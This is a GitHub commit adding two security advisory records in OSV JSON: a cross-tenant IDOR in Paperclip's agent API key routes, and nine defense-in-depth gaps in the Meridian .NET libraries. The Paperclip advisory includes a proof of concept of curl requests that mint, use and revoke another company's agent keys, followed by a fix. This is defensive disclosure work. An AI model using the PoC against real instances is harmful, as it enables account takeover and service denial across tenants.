Skip to content

Commit 6789b76

Browse files
1 parent 7c26e64 commit 6789b76

File tree

4 files changed

+253
-0
lines changed

4 files changed

+253
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3xx2-mqjm-hg9x",
4+
"modified": "2026-04-16T22:49:46Z",
5+
"published": "2026-04-16T22:49:46Z",
6+
"aliases": [],
7+
"summary": "Paperclip: Cross-tenant agent API key IDOR in `/agents/:id/keys` routes allows full victim-company compromise",
8+
"details": "## Summary\n\nThe `GET`, `POST`, and `DELETE` handlers under `/agents/:id/keys` in the Paperclip control-plane API only call `assertBoard(req)`, which verifies that the caller has a board-type session but does not verify that the caller has access to the company owning the target agent. A board user whose membership is limited to Company A can therefore list, create, or revoke agent API keys for any agent in Company B by supplying the victim agent's UUID in the URL path. The `POST` handler returns the newly-minted token in cleartext, which authenticates subsequent requests as `{type:\"agent\", companyId:<CompanyB>}`, giving the attacker full agent-level access inside the victim tenant — a complete cross-tenant compromise.\n\n## Details\n\nThe three vulnerable routes are defined in `server/src/routes/agents.ts:2050-2087`:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n assertBoard(req); // <-- only checks actor.type === \"board\"\n const id = req.params.id as string;\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n assertBoard(req); // <-- same\n const id = req.params.id as string;\n const key = await svc.createApiKey(id, req.body.name);\n // ... activity log ...\n res.status(201).json(key); // returns cleartext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n assertBoard(req); // <-- same\n const keyId = req.params.keyId as string;\n const revoked = await svc.revokeKey(keyId);\n if (!revoked) { res.status(404).json({ error: \"Key not found\" }); return; }\n res.json({ ok: true });\n});\n```\n\n`assertBoard` in `server/src/routes/authz.ts:4-8` is intentionally narrow:\n\n```ts\nexport function assertBoard(req: Request) {\n if (req.actor.type !== \"board\") {\n throw forbidden(\"Board access required\");\n }\n}\n```\n\nIt does **not** consult `req.actor.companyIds` or `req.actor.isInstanceAdmin`. Company-scoping is handled by a separate helper, `assertCompanyAccess(req, companyId)` (same file, lines 18-31), which the key-management routes never call.\n\nThe service layer is also unauthenticated. In `server/src/services/agents.ts:580-629`:\n\n```ts\ncreateApiKey: async (id: string, name: string) => {\n const existing = await getById(id);\n if (!existing) throw notFound(\"Agent not found\");\n // ... status checks only ...\n const token = createToken();\n const keyHash = hashToken(token);\n const created = await db\n .insert(agentApiKeys)\n .values({\n agentId: id,\n companyId: existing.companyId, // <-- copied from the victim agent\n name,\n keyHash,\n })\n .returning()\n .then((rows) => rows[0]);\n return { id: created.id, name: created.name, token, createdAt: created.createdAt };\n},\n\nlistKeys: (id: string) => db.select({ ... }).from(agentApiKeys).where(eq(agentApiKeys.agentId, id)),\n\nrevokeKey: async (keyId: string) => {\n const rows = await db.update(agentApiKeys).set({ revokedAt: new Date() }).where(eq(agentApiKeys.id, keyId)).returning();\n return rows[0] ?? null;\n},\n```\n\nNeither the agent id on `POST`/`GET` nor the key id on `DELETE` is cross-checked against the caller's company membership.\n\nThe returned token becomes a full-fledged agent actor in `server/src/middleware/auth.ts:151-169`:\n\n```ts\nreq.actor = {\n type: \"agent\",\n agentId: key.agentId,\n companyId: key.companyId, // <-- victim's company\n keyId: key.id,\n runId: runIdHeader || undefined,\n source: \"agent_key\",\n};\n```\n\n`assertCompanyAccess` (lines 22-30 of `authz.ts`) only rejects an agent actor when `req.actor.companyId !== <target-companyId>`. Because the token the attacker just minted carries the victim's `companyId`, it sails through every company-access check in Company B — every endpoint that an agent in Company B is authorized to hit.\n\nNo router-level mitigation exists: `api.use(agentRoutes(db))` in `server/src/app.ts:155` mounts the router with only `boardMutationGuard` (which enforces read-only for some board sessions, not tenancy). The adjacent `POST /agents/:id/wakeup` route at line 2089 and `POST /agents/:id/heartbeat/invoke` at line 2139 correctly load the agent and call `assertCompanyAccess(req, agent.companyId)` — the key-management routes simply forgot this check. Commit `ac664df8` (\"fix(authz): scope import, approvals, activity, and heartbeat routes\") hardened several other routes in this same file family but did not touch the three key routes.\n\nAgent UUIDs are routinely exposed to any authenticated board user through org-chart rendering, issue listings, heartbeat/activity payloads, and public references, so the \"unguessable id\" is not a practical barrier; further, the `DELETE` path only requires a `keyId`, which is returned by the equally-broken `GET /agents/:id/keys` for any target agent.\n\n## PoC\n\nPreconditions: attacker is a board user with membership only in Company A. They know (or learn via the listable agent surfaces) a UUID of an agent in Company B.\n\nStep 1 — Authenticate as the Company-A board user and mint a key for a Company-B agent:\n\n```bash\ncurl -sS -X POST https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \\\n -H 'Cookie: <attacker-board-session>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"pwn\"}'\n```\n\nExpected (and observed) response:\n\n```json\n{\"id\":\"<new-key-id>\",\"name\":\"pwn\",\"token\":\"<CLEARTEXT_AGENT_TOKEN>\",\"createdAt\":\"2026-04-10T...\"}\n```\n\nThe server never consulted the attacker's `companyIds` — only the URL path — and returns the cleartext token whose `companyId` column is set to Company B's id.\n\nStep 2 — Use the stolen agent token as a first-class agent principal in Company B:\n\n```bash\ncurl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID> \\\n -H 'Authorization: Bearer <CLEARTEXT_AGENT_TOKEN>'\n```\n\n`middleware/auth.ts` sets `req.actor = {type:\"agent\", agentId:<victim>, companyId:<CompanyB>, ...}`. Every route that does `assertCompanyAccess(req, <CompanyB>)` now passes.\n\nStep 3 — The listing and revocation routes are broken in the same way:\n\n```bash\n# Enumerate every key on a victim agent (learn keyIds):\ncurl -sS https://target.example/api/agents/<VICTIM_COMPANY_B_AGENT_ID>/keys \\\n -H 'Cookie: <attacker-board-session>'\n\n# Revoke a legitimate Company-B key, denying service to the real operator:\ncurl -sS -X DELETE https://target.example/api/agents/<ANY_AGENT_ID>/keys/<VICTIM_KEY_ID> \\\n -H 'Cookie: <attacker-board-session>'\n```\n\n`revokeKey` only matches on `keyId` (`server/src/services/agents.ts:622-629`), so even the `agentId` in the URL is decorative — the `keyId` alone is the authority.\n\n## Impact\n\n- **Full cross-tenant compromise.** Any board-authenticated user can mint agent API keys inside any other company in the same instance and then act as that agent — executing the workflows, reading the data, and calling every endpoint that agent is authorized for inside the victim tenant.\n- **Listing leak.** Key metadata (ids, names, lastUsedAt, revokedAt) for every agent in every tenant is readable by any board user.\n- **Cross-tenant denial of service.** The same primitive revokes legitimate agent keys in other companies by `keyId`.\n- **Scope change.** The vulnerability is in Company A's scoping checks, but the impact is complete confidentiality/integrity/availability loss within Company B's tenant — a classic scope-change cross-tenant boundary breach.\n- The attacker needs only the most minimal valid account on the instance (any company membership with board-type session) and a victim agent UUID, which is routinely exposed through agent listings, issues, heartbeats, and activity feeds.\n\n## Recommended Fix\n\nRequire explicit company-access checks on all three routes before touching the service layer. For `POST`/`GET`, load the agent first and authorize against `agent.companyId`. For `DELETE`, load the key row first (or join through it) and authorize against `key.companyId` to avoid leaking via `keyId` guessing.\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n res.json(await svc.listKeys(id));\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const key = await svc.createApiKey(id, req.body.name);\n await logActivity(db, { /* ... */ });\n res.status(201).json(key);\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n assertBoard(req);\n const keyId = req.params.keyId as string;\n // Add a getKeyById(keyId) helper that returns { id, agentId, companyId }.\n const keyRow = await svc.getKeyById(keyId);\n if (!keyRow) {\n res.status(404).json({ error: \"Key not found\" });\n return;\n }\n assertCompanyAccess(req, keyRow.companyId);\n await svc.revokeKey(keyId);\n res.json({ ok: true });\n});\n```\n\nDefense-in-depth: push the authorization down into the service layer as well, so any future caller (e.g. a new route, a job, or an RPC) is unable to create, list, or revoke an agent key without proving company access. Add regression tests mirroring the ones added in `ac664df8` for the sibling routes to pin the behavior.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@paperclipai/server"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.416.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-3xx2-mqjm-hg9x"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/paperclipai/paperclip"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-639"
49+
],
50+
"severity": "CRITICAL",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-16T22:49:46Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f5v8-v6q3-q4h6",
4+
"modified": "2026-04-16T22:50:37Z",
5+
"published": "2026-04-16T22:50:37Z",
6+
"aliases": [],
7+
"summary": "Meridian: Multiple defense-in-depth gaps (collection/depth caps, telemetry, retry, fan-out)",
8+
"details": "## Summary\n\nMeridian v2.1.0 (`Meridian.Mapping` and `Meridian.Mediator`) shipped with nine defense-in-depth gaps reachable through its public APIs. Two are HIGH severity — the advertised `DefaultMaxCollectionItems` and `DefaultMaxDepth` safety caps are silently bypassed on the `IMapper.Map(source, destination)` overload and anywhere `.UseDestinationValue()` is configured on a collection-typed property. Four are MEDIUM (constructor invariant bypass, OpenTelemetry stack-trace info disclosure, retry amplification, notification fan-out amplification). Three are LOW (exception message disclosure, dictionary duplicate-key echo, static mediator cache growth under closed-generic types).\n\nAll nine are patched in **v2.1.1**. Upgrade is a drop-in NuGet bump; see the v2.1.1 CHANGELOG for the four behavioural changes (constructor selection, OTel default, publisher fan-out cap, retry caps).\n\n## Severity Matrix\n\n| # | Severity | CWE | Finding | Fix |\n|---|---|---|---|---|\n| 1 | **HIGH** | CWE-770 | `MappingEngine.TryMapCollectionOntoExisting` enumerated the source without enforcing `DefaultMaxCollectionItems`. Reachable via `Mapper.Map<TSrc,TDst>(src, dst)` and any `.ForMember(..., o => o.UseDestinationValue())` on a collection member through a plain `Map(src)` call. | Shared cap enforcement helper between `MapCollection` and `TryMapCollectionOntoExisting`. |\n| 2 | **HIGH** | CWE-674 | Collection-item recursion in the existing-destination path did not increment `ResolutionContext.Depth`, so self-referential collection graphs could reach stack overflow before `DefaultMaxDepth` fired. | Depth increments at every collection-item boundary. |\n| 3 | MEDIUM | CWE-665 | `ObjectCreator.CreateWithConstructorMapping` always invoked the widest public constructor, silently filling unresolved parameters with `default(T)` and bypassing narrower-ctor invariants. | Widest-ctor selection now requires every parameter to be bound via explicit ctor mapping, source-name match, or a C# optional default. |\n| 4 | MEDIUM | CWE-532 | `Mediator.MarkActivityFailure` emitted the full `ex.ToString()` (stack + inner chain) to the OpenTelemetry `exception.stacktrace` activity tag by default, leaking context to any shared trace sink. | Gated on `MediatorTelemetryOptions.RecordExceptionStackTrace` — opt-in, default `false`. |\n| 5 | MEDIUM | CWE-400 | `RetryBehavior` retried every exception type with unbounded `MaxRetries`; the exponential-backoff delay overflowed `TimeSpan` at ~30 attempts. No cancellation exclusion. | Server-side `MaxRetriesCap = 10`, `MaxBackoff = 5 min`, `OperationCanceledException` short-circuit, recommended `RetryPolicy.TransientOnly` helper. |\n| 6 | MEDIUM | CWE-400 | `TaskWhenAllPublisher` started every registered handler concurrently with no bound on fan-out. | New constructor parameter `maxDegreeOfParallelism` (default 16; `-1` restores legacy unbounded). |\n| 7 | LOW | CWE-209 | Public mapping exceptions leaked `FullName` of source/destination types and concatenated inner exception messages into top-level property-mapping errors. | Scrubbed to type `Name`; inner details only via `InnerException` chain. |\n| 8 | LOW | CWE-209 | Dictionary materialization threw `ArgumentException` on duplicate keys, echoing the attacker-supplied key's `.ToString()`. | Last-write-wins indexer semantics. |\n| 9 | LOW | CWE-1325 | Static mediator handler caches grow monotonically under closed-generic request types. **Doc-only mitigation**; no code change — consumers must not allow attacker-controlled runtime type materialization to reach `Send`, `Publish`, or `CreateStream`. | Documented in `docs/security-model.md`. |\n\n## Exploitation\n\n**Finding 1 / 2 (headline):** A consumer that maps user-supplied collection payloads onto an existing destination list via `mapper.Map(userCollection, existingList)` — a documented and commonly used AutoMapper-style idiom — processes the full attacker-supplied collection with no size cap and no depth cap. An attacker sending a single request with a large (or self-referential) collection payload can block the worker thread for seconds and exhaust the managed heap or the call stack. Equivalent exposure through `.UseDestinationValue()` on a collection-typed destination member, reachable via a plain `Map(src)` call whose destination type default-initializes that member.\n\n**Finding 3:** A destination type with multiple public constructors that differ only in their parameter-binding invariants (e.g., `new UserAccount(string name, Email email)` enforcing a non-default `Email`) could be instantiated with the narrower ctor's invariants silently bypassed if any source field was absent — the widest ctor was always picked, with unbound parameters replaced by `default(T)`.\n\n**Findings 4 / 5 / 6:** Amplification / information-disclosure vectors described in the matrix above. Each requires moderate integration context (telemetry sink trust, handler count, retry policy) to weaponize, but each is reachable through public APIs without authentication.\n\n## Patches\n\n- `Meridian.Mapping` **2.1.1** (published 2026-04-16)\n- `Meridian.Mediator` **2.1.1** (published 2026-04-16)\n\nVerified via:\n- GitHub Release assets at <https://github.com/UmutKorkmaz/meridian/releases/tag/v2.1.1>\n- Sigstore attestation (`actions/attest-build-provenance@v2` → `gh attestation verify` green on both `.nupkg` from the GitHub Release)\n- NuGet.org indexed both packages within the release workflow run\n\n## Workarounds\n\nUsers who cannot upgrade immediately may:\n1. Avoid `mapper.Map(src, dst)` and `.UseDestinationValue()` on collection-typed destination members.\n2. Wrap input collection deserialization with an explicit size limit before handing the payload to Meridian.\n3. Register `TaskWhenAllPublisher` with `maxDegreeOfParallelism` ≤ 16 manually (v2.1.1+ only).\n4. Disable OpenTelemetry `exception.stacktrace` tag emission at the trace exporter level if your trace sink is less trusted than your application.\n\nThese are defense-in-depth; the only complete mitigation is upgrading to 2.1.1.\n\n## Supported Versions\n\nAs of this advisory the supported security branch is **2.1.x**. The 2.0.x line (published 2026-04-15) is not receiving the Phase 1 safety-defaults infrastructure needed to carry the HIGH-severity fixes, so 2.0.x is deprecated in favor of 2.1.x. See `SECURITY.md` for the updated supported-versions table.\n\n## Credits\n\n- UmutKorkmaz (reporter and maintainer)\n\n## References\n\n- v2.1.1 CHANGELOG section: <https://github.com/UmutKorkmaz/meridian/blob/main/CHANGELOG.md#211---2026-04-16>\n- `docs/security-model.md` threat model: <https://github.com/UmutKorkmaz/meridian/blob/main/docs/security-model.md>\n- `SECURITY.md` disclosure policy: <https://github.com/UmutKorkmaz/meridian/blob/main/SECURITY.md>\n- AutoMapper CVE-2026-32933 (motivating precedent for Meridian's safety-defaults)",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "NuGet",
19+
"name": "Meridian.Mapping"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "2.0.0"
27+
},
28+
{
29+
"fixed": "2.1.1"
30+
}
31+
]
32+
}
33+
]
34+
},
35+
{
36+
"package": {
37+
"ecosystem": "NuGet",
38+
"name": "Meridian.Mediator"
39+
},
40+
"ranges": [
41+
{
42+
"type": "ECOSYSTEM",
43+
"events": [
44+
{
45+
"introduced": "2.0.0"
46+
},
47+
{
48+
"fixed": "2.1.1"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"references": [
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/UmutKorkmaz/meridian/security/advisories/GHSA-f5v8-v6q3-q4h6"
59+
},
60+
{
61+
"type": "PACKAGE",
62+
"url": "https://github.com/UmutKorkmaz/meridian"
63+
},
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/UmutKorkmaz/meridian/blob/main/CHANGELOG.md#211---2026-04-16"
67+
},
68+
{
69+
"type": "WEB",
70+
"url": "https://github.com/UmutKorkmaz/meridian/releases/tag/v2.1.1"
71+
}
72+
],
73+
"database_specific": {
74+
"cwe_ids": [
75+
"CWE-1325",
76+
"CWE-209",
77+
"CWE-400",
78+
"CWE-532",
79+
"CWE-665",
80+
"CWE-674",
81+
"CWE-770"
82+
],
83+
"severity": "HIGH",
84+
"github_reviewed": true,
85+
"github_reviewed_at": "2026-04-16T22:50:37Z",
86+
"nvd_published_at": null
87+
}
88+
}

0 commit comments

Comments
 (0)